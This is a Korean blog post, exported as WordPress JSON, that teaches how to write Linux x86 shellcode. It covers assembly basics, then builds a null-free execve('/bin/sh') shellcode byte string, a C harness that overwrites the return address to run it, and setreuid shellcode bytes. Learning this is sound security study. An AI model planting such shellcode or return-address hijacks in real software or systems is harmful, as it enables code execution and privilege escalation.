{"id":93,"date":"2010-04-17T22:09:26","date_gmt":"2010-04-18T07:09:26","guid":{"rendered":"\/blog\/?p=93"},"modified":"2023-09-21T09:41:17","modified_gmt":"2023-09-21T00:41:17","slug":"shellcode-%ec%9e%91%ec%84%b1-%eb%b0%a9%eb%b2%95","status":"publish","type":"post","link":"https:\/\/hasu0707.duckdns.org\/blog\/?p=93","title":{"rendered":"ShellCode \uc791\uc131 \ubc29\ubc95"},"content":{"rendered":"\n

[\ubaa9\ucc28]
1.\uc5b4\uc148\ube14\ub9ac \uae30\ubcf8 \uba85\ub839\uc5b4
2.\uae30\ubcf8\uc801\uc778 \uc5b4\uc148\ube14\ub9ac \ucf54\ub4dc\uc758 \uc774\ud574
3.C\ud504\ub85c\uadf8\ub7a8\uc744 \uc258\ucf54\ub4dc\ub85c \ub9cc\ub4e4\uae30.
4.setreuid(0,0)\ud568\uc218 \uc258\ucf54\ub4dc\ub85c \ub9cc\ub4e4\uae30<\/P>\n

\ubd80\ub85d : unistd.h<\/P>\n

1.\uc5b4\uc148\ube14\ub9ac \uae30\ubcf8 \uba85\ub839\uc5b4
\ub77c\ubca8 | \uc624\ud53c\ucf54\ub4dc |\uc81c1\uc624\ud53c\ub79c\ub4dc |\uc81c2\uc624\ud53c\ub79c\ub4dc | \uc124\uba85\ubb38(\uc8fc\uc11d)
------+-----------+------------+------------+--------------
main: movl %esi, %ebp ; comment<\/P>\n


+------+--------------------+---------------------------+--------------------+
|\uba85\ub839\uc5b4| \uc774\uc6a9 \ubc29\ubc95 | \uba85\ub839\uc5b4\uc758 \uc758\ubbf8 | C\uc5d0\uc11c\uc758 \uc720\uc0ac \ud45c\ud604 |
+------+--------------------+---------------------------+--------------------+
| mov | movb $0x1,%eax | 1\uc744 eax\uc5d0 \ub123\uc74c.(1 \ubc14\uc774\ud2b8) | eax = 0x01 |
| | movw $0x1,%eax | 1\uc744 eax\uc5d0 \ub123\uc74c.(2 \ubc14\uc774\ud2b8) | eax = 0x0001 |
| | movl $0x1,%eax | 1\uc744 eax\uc5d0 \ub123\uc74c.(4 \ubc14\uc774\ud2b8) | eax = 0x00000001 |
| add | addl $1, %eax | eax\uc5d0 1\uc744 \ub354\ud558\ub77c. | eax = eax + 1 |
| sub | subl $1, %eax | eax\uc5d0\uc11c 1\uc744 \ube7c\ub77c. | eax = eax - 1 |
| inc | incl %eax | eax\uc5d0 1\uc744 \uc99d\uac00. | eax++ |
| dec | decl %eax | eax\uc5d0 1\uc744 \uac10\uc18c. | eax-- |
| lea | leal 0x8(%esi),%eax| eax\uc5d0 esi+8\uc8fc\uc18c\ub97c \ub123\uc5b4\ub77c.| eax = esi + 8 |
| xor | xor %eax, %eax | \ub458\uc744 \ube44\uad50\ud574\uc11c \uac19\uc73c\uba74 0 | if(a==b) b=0 |
| jmp | jmp string | 0x1f\uc704\uce58\ub85c jump\ud558\ub77c. | goto string |
| call | call star | \uc11c\ube0c\ub8e8\ud2f4\uc744 call \ud568. | star() |
| ret | ret | \uc11c\ube0c\ub8e8\ud2f4\uc5d0\uc11c \uc6d0\ub798\ub85c \ubcf5\uadc0 | return |
| int | int $0x80 | system call \uc704\ud55c \uc778\ud130\ub7fd\ud2b8 | - |
| push | push %ebp | ebp\uac12\uc744 stack\uc5d0 \uc800\uc7a5 | - |
| pop | pop %esi | stack\uc5d0\uc11c \uaebc\ub0b4 esi\uc5d0 \uc800\uc7a5 | - |
+------+--------------------+---------------------------+--------------------+<\/P>\n

 <\/P>\n

2.\uae30\ubcf8\uc801\uc778 \uc5b4\uc148\ube14\ub9ac \ucf54\ub4dc\uc758 \uc774\ud574
ex1)
-----------------------------------------------asm
.LC0:
.string \" a is %d \\n\"
.globl main
main:
pushl %ebp
movl %esp, %ebp
subl $4, %esp
movl $1, -4(%ebp)
pushl -4(%ebp)
pushl $.LC0
call printf
addl $8, %esp
leave
ret
-----------------------------------------------<\/P>\n

ex2)
-----------------------------------------------C
main()
{
write(1,\"I'm Willy in Null@Root\\n\",23<\/A>);
}
-----------------------------------------------<\/P>\n

(gdb) disassemble main
Dump of assembler code for function main:
0x80481dc : push %ebp
0x80481dd : mov %esp,%ebp
0x80481df : push $0x17
0x80481e1 : push $0x808b1c8
0x80481e6 : push $0x1
0x80481e8 : call 0x804c390 <__libc_write>
0x80481ed : add $0xc,%esp
0x80481f0 : leave
0x80481f1 : ret
0x80481f2 : nop
0x80481f3 : nop
End of assembler dump.
(gdb) disassemble __libc_write
Dump of assembler code for function __libc_write:
0x804c390 <__libc_write>: push %ebx
0x804c391 <__libc_write+1>: mov 0x10(%esp,1),%edx
0x804c395 <__libc_write+5>: mov 0xc(%esp,1),%ecx
0x804c399 <__libc_write+9>: mov 0x8(%esp,1),%ebx
0x804c39d <__libc_write+13>: mov $0x4,%eax
0x804c3a2 <__libc_write+18>: int $0x80
0x804c3a4 <__libc_write+20>: pop %ebx
0x804c3a5 <__libc_write+21>: cmp $0xfffff001,%eax
0x804c3aa <__libc_write+26>: jae 0x804cab0 <__syscall_error>
0x804c3b0 <__libc_write+32>: ret
End of assembler dump.<\/P>\n

------------------------------------------------asm
.LC0:
.string \"I'm Willy in Null@Root\\n<\/A>\"
.globl main
main:
movl $0x04, %eax
movl $0x01, %ebx
movl $.LC0, %ecx
movl $0x17, %edx
int $0x80
movl $0x01, %eax
movl $0x00, %ebx
int $0x80
ret
------------------------------------------------
.globl main
main:
jmp strings
start: popl %esi
movl $0x04, %eax
movl $0x01, %ebx
movl %esi, %ecx
movl $0x17, %edx
int $0x80
movl $0x01, %eax
movl $0x00, %ebx
int $0x80
strings:call start
.string \"I'm Willy in Null@Root\\n<\/A>\"
------------------------------------------------<\/P>\n

 <\/P>\n

3.C\ud504\ub85c\uadf8\ub7a8\uc744 \uc258\ucf54\ub4dc\ub85c \ub9cc\ub4e4\uae30
-----------------------------
#include
main()
{
char *name[2];
name[0] = \"\/bin\/sh\";
name[1] = NULL;
execve(name[0],name,NULL);
}
-----------------------------<\/P>\n


[willy@Null@Root]$ gcc test51.c -o test51 -mpreferred-stack-boundary=2 -static<\/P>\n

[willy@Null@Root]$ gdb -q test51
(gdb) disassemble main
Dump of assembler code for function main:
0x80481dc : push %ebp
0x80481dd : mov %esp,%ebp
0x80481df : sub $0x8,%esp
0x80481e2 : movl $0x808b228,0xfffffff8(%ebp)
0x80481e9 : movl $0x0,0xfffffffc(%ebp)
0x80481f0 : push $0x0
0x80481f2 : lea 0xfffffff8(%ebp),%eax
0x80481f5 : push %eax
0x80481f6 : pushl 0xfffffff8(%ebp)
0x80481f9 : call 0x804c36c <__execve>
0x80481fe : add $0xc,%esp
0x8048201 : leave
0x8048202 : ret
0x8048203 : nop
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804c36c <__execve>: push %ebp
0x804c36d <__execve+1>: mov $0x0,%eax
0x804c372 <__execve+6>: mov %esp,%ebp
0x804c374 <__execve+8>: test %eax,%eax
0x804c376 <__execve+10>: push %edi
0x804c377 <__execve+11>: push %ebx
0x804c378 <__execve+12>: mov 0x8(%ebp),%edi
0x804c37b <__execve+15>: je 0x804c382 <__execve+22>
0x804c37d <__execve+17>: call 0x0
0x804c382 <__execve+22>: mov 0xc(%ebp),%ecx
0x804c385 <__execve+25>: mov 0x10(%ebp),%edx
0x804c388 <__execve+28>: push %ebx
0x804c389 <__execve+29>: mov %edi,%ebx
0x804c38b <__execve+31>: mov $0xb,%eax
0x804c390 <__execve+36>: int $0x80
0x804c392 <__execve+38>: pop %ebx
0x804c393 <__execve+39>: mov %eax,%ebx
0x804c395 <__execve+41>: cmp $0xfffff000,%ebx
0x804c39b <__execve+47>: jbe 0x804c3ab <__execve+63>
0x804c39d <__execve+49>: neg %ebx
0x804c39f <__execve+51>: call 0x80483b4 <__errno_location>
0x804c3a4 <__execve+56>: mov %ebx,(%eax)
0x804c3a6 <__execve+58>: mov $0xffffffff,%ebx
0x804c3ab <__execve+63>: mov %ebx,%eax
0x804c3ad <__execve+65>: pop %ebx
0x804c3ae <__execve+66>: pop %edi
0x804c3af <__execve+67>: pop %ebp
0x804c3b0 <__execve+68>: ret
End of assembler dump.<\/P>\n

----------------------------------------------------------------------------------------
.globl main
main:
jmp strings
start: popl %esi <--- \ubb38\uc790\uc5f4 \uc704\uce58 (\ubb38\uc790\uc5f4\uc740 \/bin\/sh 7\uc790)
movb $0x00,0x7(%esi) <--- \ubb38\uc790\uc5f4 \ub05d\uc5d0 NULL\uc704\uce58 (\ubb38\uc790\uc5f4\uc774 \ub05d\ub0a8\uc744 \uc54c\ub9bc)
movl %esi, 0x8(%esi) <--- name[0]\uc744 \uad6c\ud604\ud558\uae30 \uc704\ud574 \ubb38\uc790\uc5f4 \ub4a4\uc5d0 \ub123\uc74c.
movl $0x00,0xc(%esi) <--- name[1]\uc744 \uad6c\ud604\ud558\uae30 \uc704\ud574\uc11c name[0]\ub4a4\uc5d0 NULL\uc744 \ub123\uc74c.
movl $0x0b,%eax <--- %eax\uc5d0 0xb(11)\uc744 \ub123\uc5b4 execve() system call\ud568.
movl %esi, %ebx <--- %ebx\uc5d0 \ubb38\uc790\uc5f4\uc744 \ub123\uc74c.
leal 0x8(%esi), %ecx <--- %ecx\uc5d0 name = name[0]+name[1]\uc744 \ub123\uc74c.
movl 0xc(%esi), %edx <--- %edx\uc5d0 NULL(0x00)\uc744 \ub123\ub294\ub2e4.
int $0x80 <--- interrupt 0x80\uc744 \ud574\uc11c system call\uc744 \ud568.
movl $0x01,%eax
movl $0x00,%ebx
int $0x80 <--- exit(0) system call.
strings: call start
.string \"\/bin\/sh\"
----------------------------------------------------------------------------------------<\/P>\n

[willy@Null@Root]$ objdump -d test51<\/P>\n

:
0804841c :
804841c: eb 2a jmp 8048448 <\/P>\n

0804841e :
804841e: 5e pop %esi
804841f: c6 46 07 00 movb $0x0,0x7(%esi)
8048422: 89 76 08 mov %esi,0x8(%esi)
8048426: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
804842d: b8 0b 00 00 00 mov $0xb,%eax
8048432: 89 f3 mov %esi,%ebx
8048434: 8d 4e 08 lea 0x8(%esi),%ecx
8048437: 8b 56 0c mov 0xc(%esi),%edx
804843a: cd 80 int $0x80
804843c: b8 01 00 00 00 mov $0x1,%eax
8048441: bb 00 00 00 00 mov $0x0,%ebx
8048446: cd 80 int $0x80<\/P>\n

08048448 :
8048448: e8 d1 ff ff ff call 804841e
804844d: 2f das
804844e: 62 69 6e bound %ebp,0x6e(%ecx)
8048451: 2f das
8048452: 73 68 jae 80484bc <\/P>\n


----------------------------------------------------------------------------------------
\uc218\uc815\uc804 | \uc218\uc815\ud6c4
----------------------------+------------------------------
movb $0x00,0x7(%esi) | xor %eax, %eax
| movb %al, 0x7(%esi)
movl $0x00,0xc(%esi) | movl %eax, 0xc(%esi)
movl 0xc(%esi), %edx | xor %edx, %edx<\/P>\n

[willy@Null@Root]$ cat test52.s
.globl main
main:
jmp strings
start: popl %esi
movl %esi, 0x8(%esi)
xor %eax, %eax
movb %al, 0x7(%esi)
movl %eax, 0xc(%esi)
movb $0x0b, %al
movl %esi, %ebx
leal 0x8(%esi), %ecx
xor %edx, %edx
int $0x80
movb $0x01,%al
xor %ebx, %ebx
int $0x80
strings:call start
.string \"\/bin\/sh\"
----------------------------------------------------------------------------------------<\/P>\n

char sc1[] =
\"\\xeb\\x1d\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\"
\"\\x4e\\x08\\x31\\xd2\\xcd\\x80\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\xde\\xff\\xff\\xff\/bin\/sh\";<\/P>\n

main()
{
int *ret;<\/P>\n

ret = (int *)&ret + 2;
(*ret) = (int)sc1;
}<\/P>\n

[willy@Null@Root]$ gcc test44.c -o test44<\/P>\n

[willy@Null@Root]$ .\/test44
sh-2.04$ ps
PID TTY TIME CMD
9238 pts\/6 00:00:00 bash
9262 pts\/6 00:00:00 sh
9264 pts\/6 00:00:00 ps<\/P>\n


4.setreuid(0,0)\ud568\uc218 \uc258\ucf54\ub4dc\ub85c \ub9cc\ub4e4\uae30
-------------------------------------------------------------------------------------<\/P>\n

main()
{
setreuid(0,0);
}<\/P>\n

-------------------------------------------------------------------------------------
.globl main<\/P>\n

main:
movl $0x0, %ecx
movl $0x0, %ebx
movl $0x46, %eax
int $0x80<\/P>\n

-------------------------------------------------------------------------------------<\/P>\n

080483d0 :
80483d0: b9 14 0c 00 00 mov $0xc14,%ecx
80483d5: bb 14 0c 00 00 mov $0xc14,%ebx
80483da: b8 46 00 00 00 mov $0x46,%eax
80483df: cd 80 int $0x80<\/P>\n

-------------------------------------------------------------------------------------<\/P>\n

.globl main<\/P>\n

main:
xor %ecx, %ecx
movw $0xc14, %cx
xor %ebx, %ebx
movw $0xc14, %bx
xor %eax, %eax
movb $0x46, %al
int $0x80<\/P>\n

-------------------------------------------------------------------------------------<\/P>\n

080483d0 :
80483d0: 31 c9 xor %ecx,%ecx
80483d2: 66 b9 14 0c mov $0xc14,%cx
80483d6: 31 db xor %ebx,%ebx
80483d8: 66 bb 14 0c mov $0xc14,%bx
80483dc: 31 c0 xor %eax,%eax
80483de: b0 46 mov $0x46,%al
80483e0: cd 80 int $0x80
80483e2: 89 f6 mov %esi,%esi<\/P>\n

-------------------------------------------------------------------------------------<\/P>\n

\"\\x31\\xc9\" \/* xor %ecx,%ecx *\/
\"\\x66\\xb9\\x14\\x0c\" \/* mov $0xc14,%cx *\/
\"\\x31\\xdb\" \/* xor %ebx,%ebx *\/
\"\\x66\\xbb\\x14\\x0c\" \/* mov $0xc14,%bx *\/
\"\\x31\\xc0\" \/* xor %eax,%eax *\/
\"\\xb0\\x46\" \/* mov $0x46,%al *\/
\"\\xcd\\x80\" \/* int $0x80 *\/<\/P>\n

------------------------------------------------------------------------------------- <\/P>\n

\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141\u3141<\/P>\n

\n

------------------------------------------------------------------------------------------
Shellcode\ub97c \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c\ub294 \uae30\ubcf8\uc801\uc73c\ub85c \uba54\ubaa8\ub9ac \uad6c\uc870\uc640 \uac04\ub2e8\ud55c \uc5b4\uc148\ube14\ub9ac\uc5b4\uc5d0 \ub300\ud55c \uc774\ud574\ub97c \ud544\uc694
\ub85c\ud55c\ub2e4.  \ucd5c\uadfc Shellcode\uc5d0 \uad00\ud55c \ub9ce\uc740 \ubb38\uc11c\ub4e4\uc774 \uc18c\uac1c\ub418\uace0 \uc788\uc73c\ub098 \uba54\ubaa8\ub9ac\ub098 \uc5b4\uc148\ube14\ub9ac\uc5d0 \ub300\ud558\uc5ec
\uc5b4\ub290 \uc815\ub3c4 \uc54c\uace0 \uc788\ub294 \uc0ac\ub78c\uc744 \ub300\uc0c1\uc73c\ub85c \uc18c\uac1c\ub418\uace0 \uc788\uc5b4 \uae30\uacc4\uc5b4 Code\ub97c \ucc98\uc74c \uc811\ud558\ub294 \uc0ac\ub78c\ub4e4\uc5d0\uac8c\ub294 
\uc804\uccb4 \ud750\ub984\uc744 \ud30c\uc545\ud558\ub294\ub370 \uc5b4\ub824\uc6c0\uc774 \uc788\ub2e4.
\uc774 \ubb38\uc11c\uc5d0\uc11c\ub294 \uac00\uc7a5 \uae30\ubcf8\uc774 \ub418\ub294 \uba54\ubaa8\ub9ac\uc758 \uad6c\uc870 \/ \ub808\uc9c0\uc2a4\ud130 \/ \uc5b4\uc148\ube14\ub9ac\uc758 \uae30\ubcf8\uc801\uc778 \uba85\ub839\uc5b4\ubd80\ud130
\uc2dc\uc791\ud558\uc5ec Shellcode \uc81c\uc791\uacfc \uc218\uc815\ubfd0\ub9cc\uc544\ub2c8\ub77c, \uc784\uc758 \uae30\ub2a5\uc758 system call\uc744 \uc218\ud589\ud558\uae30 \uc704\ud55c \uae30\uacc4\uc5b4
code\ub97c \ub9cc\ub4dc\ub294 \uac83\uc744 \uc124\uba85\ud558\uc600\ub2e4.  
\ucc38\uace0\ub85c \uc774\ubb38\uc11c\uc5d0 \uc18c\uac1c\ub41c \ubaa8\ub4e0 \ub0b4\uc6a9\uc740 Linux Red Hat 7.0 i686\uc744 \uae30\ubcf8\uc73c\ub85c \ub9cc\ub4e4\uc5b4 \uc84c\uc73c\ubbc0\ub85c CPU
,OS\uc5d0 \ub530\ub77c\uc11c \ub2e4\uc18c \ucc28\uc774\uac00 \uc788\uc744\uc218 \uc788\ub2e4. 
\uae30\ud0c0 \uc774 \ubb38\uc11c\uc5d0 \ub300\ud55c \uc9c8\ubb38 \/ \uc9c0\uc801\uc0ac\ud56d\uc774 \uc788\ub294 \uc0ac\ub78c\uc740 Willy (jeazon@hanmail.net)\uc5d0\uac8c \uc5f0\ub77d\ubc14\ub78c.
------------------------------------------------------------------------------------------

<Test System \uc815\ubcf4>
CPU: GenuineIntel Pentium II 266MHz
OS : Linux Redhat 7.0 i686
GCC: (GNU) 2.96 20000731 
GDB: GNU gdb 5.0

<\uc2a4\ud14d\uacfc \ub808\uc9c0\uc2a4\ud130>
\uc2a4\ud14d(stack)\uc740 \uba54\ubaa8\ub9ac\uc758 \uc601\uc5ed\uc774\uba70, \uc601\uc5b4\uc758 \ub73b\uc744 \ubcf4\uba74 \"\uc313\uc544\uc62c\ub9b0 \uac83\" \uc800\uc7a5\uacf5\uac04\uc774 \uc313\uc544 \uc62c\ub9ac\ub294 \ud615\ud0dc\ub85c
\ub418\uc5b4\uc788\ub2e4\ub294 \uc758\ubbf8\uc774\ub2e4. \uc6b0\ub9ac\uac00 \ud504\ub85c\uadf8\ub7a8\uc744 \uc218\ud589\ud558\uba74\uc11c \uc0dd\uc131\ub41c data\ub098 \uc785\ub825\uc744 \ud1b5\ud558\uc5ec \ub9cc\ub4e4\uc5b4\uc9c4 data\ub294 
\uc77c\ub2e8 \uc774 \uc2a4\ud14d\uc5d0 \uc313\uc600\ub2e4\uac00 \ud544\uc694\uc2dc CPU\ub85c \ubcf4\ub0b4\uc838 \uacc4\uc0b0\ub41c\uace0 \uadf8 \uacb0\uacfc\ubb3c\uc774 \ub2e4\uc2dc \uc2a4\ud14d\uc5d0 \uc313\uc774\uac8c \ub41c\ub2e4. 
\uc2a4\ud14d\uc5d0 \uc313\uc5ec \uc788\ub294 data\ub294 \uc8fc\uc18c(address)\ub97c \uc774\uc6a9\ud558\uc5ec \uc81c\uc5b4\ub41c\ub2e4. \uc2a4\ud14d\uc740 2\uac00\uc9c0 \ud2b9\uc9d5\uc774 \uc788\ub294\ub370 \ud558\ub098\ub294
data\ub97c push(\ucd94\uac00)\ud558\uba74 \ub0ae\uc740 \uc8fc\uc18c \ucabd\uc73c\ub85c \uc313\uc778\ub2e4 \uac83\uacfc, \ub098\uc911\uc5d0 \ub4e4\uc5b4\uac04 data\uac00 \uba3c\uc800 \ub098\uc624\ub294 lifo(last
in first out)\uac1c\ub150\uc73c\ub85c \ud56d\uc544\ub9ac\uc5d0 \ubb3c\uac74\uc744 \ub123\uc5c8\ub2e4\uac00 \uaebc\ub0bc\ub54c \ub9e8 \ub4a4\uc5d0 \ub123\uc740 \uac83\uc774 \ub9e8 \uba3c\uc800 \ub098\uc624\ub294 \uac83\uacfc 
\uac19\ub2e4. \uc774\uac83\uc744 \ub3c4\uc2dd\ud654 \ud558\uba74 \uc544\ub798\uc640 \uac19\ub2e4..
             
          data in\/out

         |               |     0xfffffffb    \ud558\uc704 \uc8fc\uc18c
         +----------+
         |    data 4   |     0xfffffffc
         +----------+
         |    data 3   |     0xfffffffd      
         +----------+
         |    data 2   |     0xfffffffe
         +----------+
         |    data 1   |     0xffffffff     \uc0c1\uc704 \uc8fc\uc18c
         +----------+

\ub808\uc9c0\uc2a4\ud130(register)\ub294 CPU\uc758 \uc601\uc5ed\uc73c\ub85c \uace0\uc18d\uc5f0\uc0b0\uc744 \ud558\uae30\uc704\ud574 \uc0ac\uc6a9\ub418\ub294 unit\uc774\ub2e4. \ub808\uc9c0\uc2a4\ud130\uc5d0\ub294 ax,bx,
cx,dx,si,di,bp,sp\uc2dd\uc73c\ub85c \uc774\ub984\uc774 \ubd99\uc5b4 \uc788\ub294\ub370, \uc774\uac83\uc740 \uc0ac\ub78c\uc5d0\uac8c \uc774\ub984\uc744 \ubd99\uc5ec \uac01 \uac1c\uc778\uc758 \uace0\uc720 id\ub97c 
\ubd80\uc5ec\ud558\ub294 \uac83\uacfc \uac19\ub2e4. \uc989 \uba85\ub839\uc744 \uc218\ud589\ud560\ub54c \uc704\uce58\ub97c \ucc3e\uae30 \uc704\ud574 \uc0ac\uc6a9\ub41c\ub2e4\uace0 \ubcf4\uba74\ub41c\ub2e4. \ub808\uc9c0\uc2a4\ud130\uc758 \uc885\ub958\ub294 
\uc77c\ubc18\ubaa9\uc801 \ub808\uc9c0\uc2a4\ud130(general-purpose register), \uc0c1\ud0dc \ub808\uc9c0\uc2a4\ud130(status register)\uc640 \uc138\uadf8\uba3c\ud2b8 \ub808\uc9c0
\uc2a4\ud130(segment register)\ub4f1\uc774 \uc788\ub294\ub2e4. \uadf8\uc911\uc5d0\uc11c \uc77c\ubc18\uc801\uc73c\ub85c \uac00\uc7a5 \ub9ce\uc774 \uc4f0\uc774\uba70 \uae30\ubcf8\uc774 \ub418\ub294 \uc77c\ubc18\ubaa9\uc801\uc758
\ub808\uc9c0\uc2a4\ud130(general-purpose register)\ub9cc \uc774\ud574\ud574\ub3c4 shellcode\ub97c \ub9cc\ub4dc\ub294\ub370 \ud070 \ubb34\ub9ac\uac00 \uc5c6\uc744 \uac83\uc73c\ub85c \uc0dd\uac01
\ub41c\ub2e4. <\/P>\n

\uc77c\ubc18\ubaa9\uc801\uc758 \ub808\uc9c0\uc2a4\ud130\uc758 8\uac1c(ax,bx,cx,dx,si,di,bp,sp<\/FONT>) \uc815\ub3c4\uac00 \uc788\uc73c\uba70, <\/P>\n

\uadf8\uc911\uc5d0 ax,bx,cx,dx\ub294 \uacc4\uc0b0\uc744 \uc704\ud574 \uc9c1\uc811\uc801\uc73c\ub85c data<\/FONT><\/STRONG><\/U>\ub97c \uc8fc\uace0 \ubc1b\ub294 \ub808\uc9c0\uc2a4\ud130\uc774\uba70, <\/P>\n

si,di,bp,sp\ub294 \uc8fc\uc18c\ub97c \uc8fc\uace0 \ubc1b\ub294 \ub808\uc9c0\uc2a4\ud130 <\/U><\/STRONG><\/FONT>\uc774\ub2e4. <\/P>\n

32\ube44\ud2b8 CPU\uc5d0\uc11c\ub294 \uc8fc\uc18c\uac00 4\ubc14\uc774\ud2b8(32\ube44\ud2b8)\uc774\ubbc0\ub85c \"e\"\ub97c \ubd99\uc5ec\uc11c 4\ubc14\uc774\ud2b8\ub85c \ud655\uc7a5\ud558\uc5ec <\/P>\n

\uc77c\ubc18\uc801\uc73c\ub85c  \uc0ac\uc6a9\ud55c\ub2e4. <\/P>\n

\uc989 \uc774\uc81c si,di,bp,sp\uc758 \ud655\uc7a5 \uac1c\ub150\uc778 esi,edi,ebp,esp\ub9cc \uae30\uc5b5\ud558\uba74 \ub41c\ub2e4.  <\/P>\n



       gerneral    |   status      |  segment
       ----------+------------+----------
       eax(ax)         eflags           cs
       ebx(bx)         eip               ds
       ecx(cx)                            ss 
       edx(dx)                            es
       esi                                   fs
       edi                                   gs
       ebp
       esp        

ax,bx,cx,dx\ub294 data\ub97c \uc9c1\uc811 \ucc98\ub9ac\ud558\ub294 \ub808\uc9c0\uc2a4\ud130\ub85c data\uc758 \ud06c\uae30\uc5d0 \ub530\ub77c 1\ubc14\uc774\ud2b8, 2\ubc14\uc774\ud2b8, 4\ubc14\uc774\ud2b8\ub85c 
\ub098\ub204\uc5b4 \uc0ac\uc6a9\ud560 \uc218\ub3c4 \uc788\ub2e4. \uc989 ax\ub294 2\ubc14\uc774\ud2b8\uc778\ub370 al(1\ubc14\uc774\ud2b8) + ah(1\ubc14\uc774\ud2b8)\ub85c \ub098\ub204\uc5b4 \uc4f8\uc218\uc788\uc73c\uba70 
al\uc740 ax\uc758 \ub0ae\uc740\ucabd 1\ubc14\uc774\ud2b8(8\ube44\ud2b8), ah\uc740 \ub192\uc740\ucabd 1\ubc14\uc774\ud2b8(8\ube44\ud2b8)\ub97c \uc758\ubbf8\ud55c\ub2e4. \ub610\ud55c ax\uc55e\uc5d0 e\ub97c \ubd99\uc774\uba74 
4\ubc14\uc774\ud2b8\ub85c\uc758 \ud655\uc7a5\uc744 \uc758\ubbf8\ud55c\ub2e4.  \uc774\uac83\uc744 \ub3c4\uc2dd\ud654 \ud558\uba74

   +----+----+----+----+
   |      |      |      |      |   eax    ( 4\ubc14\uc774\ud2b8, 32\ube44\ud2b8,  0 ~ 0xffffffff )
   +----+----+----+----+
   |      |      |             ax     ( 2\ubc14\uc774\ud2b8, 16\ube44\ud2b8,  0 ~ 0xffff )
   +----+----+
   |  al  | ah |             al,ah  ( 1\ubc14\uc774\ud2b8,  8\ube44\ud2b8,  0 ~ 0xff )
   +----+----+

   4\ubc14\uc774\ud2b8   |   2\ubc14\uc774\ud2b8   |  1\ubc14\uc774\ud2b8
   ---------+-----------+---------
    eax              ax            al , ah
    ebx              bx            bl , bh
    ecx              cx            cl , ch
    edx              dx            dl , dh

\uc774\ub807\uac8c data\ucc98\ub9ac \ub808\uc9c0\uc2a4\ud130\uc758 \ud06c\uae30\ub97c \ub098\ub204\uc5b4 \uc4f0\ub294 \uac83\uc740 \ud6a8\uc728\uc801\uc778 \uad00\ub9ac\uce21\uba74\uc5d0\uc11c\ub3c4 \uc758\ubbf8\uac00 \uc788\uaca0\uc9c0\ub9cc 
shellcode\uc81c\uc791\uc2dc\uc5d4 NULL(0x00)\ucc98\ub9ac\uc744 \uc704\ud574 \uc911\uc694\ud558\ub2e4. \uc880\ub354 \uad6c\uccb4\uc801\uc778 \ubd80\ubd84\uc740 \ucc28\ucc28 \uc124\uba85\ud558\uae30\ub85c \ud55c\ub2e4.

esi,edi,ebp,esp\uc5d0 \ub300\ud574\uc11c \uc54c\uc544\ubcf4\uc790. si\ub294 source index, di\ub294 destination index\uc758 \uc57d\uc790\ub85c \ud544\uc694\uc2dc
\ubc30\uc5f4 \ucc38\uc870\ud560\ub54c \uc0ac\uc6a9\ud558\ub294 \ub808\uc9c0\uc2a4\ud2b8\ub9ac \uc815\ub3c4\ub85c \uc774\ud574 \ud558\uba74 \ub420\uac70 \uac19\uace0, esp\ub294  stack pointer\ub85c \ud504\ub85c\uadf8\ub7a8
\uc774 \uc9c4\ud589 \ub418\ub294 \ub3d9\uc548 stack\uc758 \ucd5c\uc885 \uc8fc\uc18c\ub97c \uc800\uc7a5\ud558\ub294 \uacf3\uc774\ub2e4. \ud504\ub85c\uadf8\ub7a8\uc774 \uc9c4\ud589\uc774\ub780 \uc758\ubbf8\ub294 \uc2a4\ud0dd\uc5d0 data
\uac00 \uc800\uc7a5\ub418\uace0 \ube60\uc9c0\ub294 \ub3d9\uc548 \uacc4\uc18d \ubcc0\uacbd\ub41c\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4. \uc774\ub807\uac8c esp\uac00 \uacc4\uc18d \ubcc0\uacbd\ub418\ubbc0\ub85c \ud55c \ud568\uc218
(frame) \ub0b4\uc5d0\uc11c stack\uc758 \uae30\uc900 \uc8fc\uc18c\ub97c \uc124\uc815\ud558\uac8c \ub418\ub294\ub370 \uc774\uac83\uc774 ebp(base pointer, frame pointer) 
\uc774\ub2e4. \uadf8\ub7ec\ubbc0\ub85c \uc77c\ubc18\uc801\uc73c\ub85c \ud568\uc218 \ub0b4\uc5d0\uc11c \uccab\ubc88\uc9f8\ub85c \ud558\ub294 \uc77c\uc774 \uae30\uc874 ebp\ub97c \uc800\uc7a5(pushl %ebp)\ud558\uace0 \ucd08\uae30
\uc758 esp\ub97c ebp\ub85c \uc124\uc815(movl %esp %ebp)\ud558\ub294 \uc791\uc5c5\uc744 \ud55c\ub2e4. \ub4a4\uc5d0 \uc2e4\uc81c \ud504\ub85c\uadf8\ub7a8\ub0b4\uc5d0\uc11c \uc880\ub354 \uc0c1\uc138\ud788 
\uc774\ud574 \ud558\ub3c4\ub85d \ud558\uc790.

<\uc5b4\uc148\ube14\ub9ac \uad6c\uc870\uc640 \uae30\ubcf8 \uba85\ub839\uc5b4>
\uc5b4\uc148\ube14\ub9ac\uc758 \uae30\ubcf8 \uad6c\uc870\ub294 \uc544\ub798\uc640 \uac19\uc774 5\uac1c\uc758 \uc601\uc5ed(\ubd80\ubd84)\uc73c\ub85c  \ub098\ub204\uc5b4\uc838 \uc788\uc73c\uba70, Linux\uc758 \uacbd\uc6b0\uc5d0\ub294 
AT&T syntax\ub97c \ub530\ub974\uae30 \ub54c\ubb38\uc5d0 \uc624\ud53c\ucf54\ub4dc\uc758 \uba85\ub839\uc774 \uc81c1\uc624\ud53c\ub79c\ub4dc\uc5d0\uc11c \uc81c2\uc624\ud53c\ub79c\ub4dc\ucabd\uc73c\ub85c \uc791\uc6a9\ud55c\ub2e4.
\uc989 \uc544\ub798\uc758 \uc608\uc81c\uc758 \uacbd\uc6b0 %esi\uc758 \uac12\uc774 %ebp\uc5d0 \ub4e4\uc5b4\uac00\uac8c \ub41c\ub2e4.

<\/P>\n\n\n\n\n\n\n\n\n\n\n\n
